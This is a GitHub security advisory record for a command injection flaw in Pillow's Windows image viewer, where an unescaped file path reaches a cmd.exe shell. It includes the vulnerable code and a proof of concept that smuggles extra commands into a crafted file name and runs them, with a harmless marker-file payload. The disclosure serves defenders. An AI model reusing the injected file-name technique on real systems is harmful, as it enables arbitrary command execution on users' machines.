GHSA-4X4J-2G7C-83W6
Vulnerability from github – Published: 2026-07-20 21:14 – Updated: 2026-07-20 21:141. Summary
WindowsViewer.get_command() constructs a cmd.exe shell command by directly embedding a
file path into an f-string without escaping. The result is passed to
subprocess.Popen(..., shell=True). Shell metacharacters in the file path — most
importantly a double-quote (") that breaks out of the wrapping, followed by & — allow
injection of arbitrary cmd.exe commands.
The macOS equivalent (MacViewer) correctly applies shlex.quote() to the same parameter.
The Linux equivalent (UnixViewer) does likewise. Windows is the only platform missing this
protection, despite shlex.quote being already imported on line 21 of ImageShow.py.
2. Vulnerable Code
File: src/PIL/ImageShow.py, lines 133–150
class WindowsViewer(Viewer):
format = "PNG"
options = {"compress_level": 1, "save_all": True}
def get_command(self, file: str, **options: Any) -> str:
return (
f'start "Pillow" /WAIT "{file}" ' # ← f-string, no escaping
"&& ping -n 4 127.0.0.1 >NUL "
f'&& del /f "{file}"' # ← same path, unescaped again
)
def show_file(self, path: str, **options: Any) -> int:
if not os.path.exists(path):
raise FileNotFoundError
subprocess.Popen(
self.get_command(path, **options),
shell=True, # ← shell=True
creationflags=getattr(subprocess, "CREATE_NO_WINDOW"),
) # nosec # ← Bandit warning suppressed manually
return 1
Contrast with macOS — SAFE (line 164–168):
class MacViewer(Viewer):
def get_command(self, file: str, **options: Any) -> str:
command = "open -a Preview.app"
command = f"({command} {quote(file)}; sleep 20; rm -f {quote(file)})&"
return command # ← shlex.quote() applied
Cross-platform summary:
| Platform | Class | shlex.quote()? |
shell=True? |
Safe? |
|---|---|---|---|---|
| macOS | MacViewer |
Yes (line 168) | No (list args) | ✅ Yes |
| Linux | UnixViewer |
Yes (line 207) | No (list args) | ✅ Yes |
| Windows | WindowsViewer |
No (line 134–137) | Yes (line 148) | ❌ No |
shlex.quote is imported on line 21. Its omission from the Windows path is a clear
oversight, not a deliberate design choice.
3. Proof of Concept
A full working PoC is at poc_pillow_injection.py. Key parts:
Part A — Injection string construction (static, no execution):
from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer()
evil_path = r'C:\Temp\evil" & echo PWNED & echo "'
cmd = viewer.get_command(evil_path)
print(cmd)
# Output:
# start "Pillow" /WAIT "C:\Temp\evil" & echo PWNED & echo "" && ping ...
# ┌─ start "Pillow" /WAIT "C:\Temp\evil" → fails (file not found)
# ├─ & echo PWNED → INJECTED COMMAND
# └─ & echo "" && ping ... → continues
Part B — Live execution via os.system() (verified on Windows 11, Pillow 12.1.1):
import os, tempfile
from PIL.ImageShow import WindowsViewer
viewer = WindowsViewer()
poc_dir = tempfile.mkdtemp()
marker = os.path.join(poc_dir, "INJECTION_CONFIRMED.txt")
# Craft injection: payload writes a marker file (harmless)
payload = f'echo REAL_INJECTED > "{marker}"'
evil_path = os.path.join(poc_dir, f'poc" & {payload} & echo "')
# Call the REAL Pillow get_command():
real_cmd = viewer.get_command(evil_path)
# Execute the same way the base Viewer.show_file() does (os.system):
os.system(real_cmd)
assert os.path.exists(marker) # PASSES — marker was created
assert "REAL_INJECTED" in open(marker).read() # PASSES
# → CONFIRMED: arbitrary command injection via get_command()
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Pillow"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "12.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55798"
],
"database_specific": {
"cwe_ids": [
"CWE-78"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-20T21:14:14Z",
"nvd_published_at": "2026-07-06T19:17:08Z",
"severity": "MODERATE"
},
"details": "### 1. Summary\n\n`WindowsViewer.get_command()` constructs a `cmd.exe` shell command by directly embedding a\nfile path into an f-string without escaping. The result is passed to\n`subprocess.Popen(..., shell=True)`. Shell metacharacters in the file path \u2014 most\nimportantly a double-quote (`\"`) that breaks out of the wrapping, followed by `\u0026` \u2014 allow\ninjection of arbitrary `cmd.exe` commands.\n\nThe macOS equivalent (`MacViewer`) correctly applies `shlex.quote()` to the same parameter.\nThe Linux equivalent (`UnixViewer`) does likewise. Windows is the only platform missing this\nprotection, despite `shlex.quote` being **already imported** on line 21 of `ImageShow.py`.\n\n---\n\n### 2. Vulnerable Code\n\n**File:** `src/PIL/ImageShow.py`, lines 133\u2013150\n\n```python\nclass WindowsViewer(Viewer):\n format = \"PNG\"\n options = {\"compress_level\": 1, \"save_all\": True}\n\n def get_command(self, file: str, **options: Any) -\u003e str:\n return (\n f\u0027start \"Pillow\" /WAIT \"{file}\" \u0027 # \u2190 f-string, no escaping\n \"\u0026\u0026 ping -n 4 127.0.0.1 \u003eNUL \"\n f\u0027\u0026\u0026 del /f \"{file}\"\u0027 # \u2190 same path, unescaped again\n )\n\n def show_file(self, path: str, **options: Any) -\u003e int:\n if not os.path.exists(path):\n raise FileNotFoundError\n subprocess.Popen(\n self.get_command(path, **options),\n shell=True, # \u2190 shell=True\n creationflags=getattr(subprocess, \"CREATE_NO_WINDOW\"),\n ) # nosec # \u2190 Bandit warning suppressed manually\n return 1\n```\n\n**Contrast with macOS \u2014 SAFE (line 164\u2013168):**\n```python\nclass MacViewer(Viewer):\n def get_command(self, file: str, **options: Any) -\u003e str:\n command = \"open -a Preview.app\"\n command = f\"({command} {quote(file)}; sleep 20; rm -f {quote(file)})\u0026\"\n return command # \u2190 shlex.quote() applied\n```\n\n**Cross-platform summary:**\n\n| Platform | Class | `shlex.quote()`? | `shell=True`? | Safe? |\n|----------|----------------|------------------|---------------|-------|\n| macOS | `MacViewer` | **Yes** (line 168) | No (list args) | \u2705 Yes |\n| Linux | `UnixViewer` | **Yes** (line 207) | No (list args) | \u2705 Yes |\n| Windows | `WindowsViewer`| **No** (line 134\u2013137) | **Yes** (line 148) | \u274c No |\n\n`shlex.quote` is imported on line 21. Its omission from the Windows path is a clear\noversight, not a deliberate design choice.\n\n---\n### 3. Proof of Concept\n\nA full working PoC is at `poc_pillow_injection.py`. Key parts:\n\n**Part A \u2014 Injection string construction (static, no execution):**\n```python\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\nevil_path = r\u0027C:\\Temp\\evil\" \u0026 echo PWNED \u0026 echo \"\u0027\ncmd = viewer.get_command(evil_path)\nprint(cmd)\n# Output:\n# start \"Pillow\" /WAIT \"C:\\Temp\\evil\" \u0026 echo PWNED \u0026 echo \"\" \u0026\u0026 ping ...\n# \u250c\u2500 start \"Pillow\" /WAIT \"C:\\Temp\\evil\" \u2192 fails (file not found)\n# \u251c\u2500 \u0026 echo PWNED \u2192 INJECTED COMMAND\n# \u2514\u2500 \u0026 echo \"\" \u0026\u0026 ping ... \u2192 continues\n```\n\n**Part B \u2014 Live execution via `os.system()` (verified on Windows 11, Pillow 12.1.1):**\n```python\nimport os, tempfile\nfrom PIL.ImageShow import WindowsViewer\n\nviewer = WindowsViewer()\npoc_dir = tempfile.mkdtemp()\nmarker = os.path.join(poc_dir, \"INJECTION_CONFIRMED.txt\")\n\n# Craft injection: payload writes a marker file (harmless)\npayload = f\u0027echo REAL_INJECTED \u003e \"{marker}\"\u0027\nevil_path = os.path.join(poc_dir, f\u0027poc\" \u0026 {payload} \u0026 echo \"\u0027)\n\n# Call the REAL Pillow get_command():\nreal_cmd = viewer.get_command(evil_path)\n\n# Execute the same way the base Viewer.show_file() does (os.system):\nos.system(real_cmd)\n\nassert os.path.exists(marker) # PASSES \u2014 marker was created\nassert \"REAL_INJECTED\" in open(marker).read() # PASSES\n# \u2192 CONFIRMED: arbitrary command injection via get_command()\n```\n\n---",
"id": "GHSA-4x4j-2g7c-83w6",
"modified": "2026-07-20T21:14:14Z",
"published": "2026-07-20T21:14:14Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/security/advisories/GHSA-4x4j-2g7c-83w6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55798"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/8404ea5fe5df40fc34aa1e51403dd6fce0778b8a"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/88194166691b7b603529b8b036ab3ab9cedd2de4"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/commit/b0e06caa64c1405aa3da0bb1d2bd9a77ca22de7f"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2257.yaml"
},
{
"type": "PACKAGE",
"url": "https://github.com/python-pillow/Pillow"
},
{
"type": "WEB",
"url": "https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
],
"summary": "Pillow: WindowsViewer.get_command() OS command injection via unescaped shell path"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.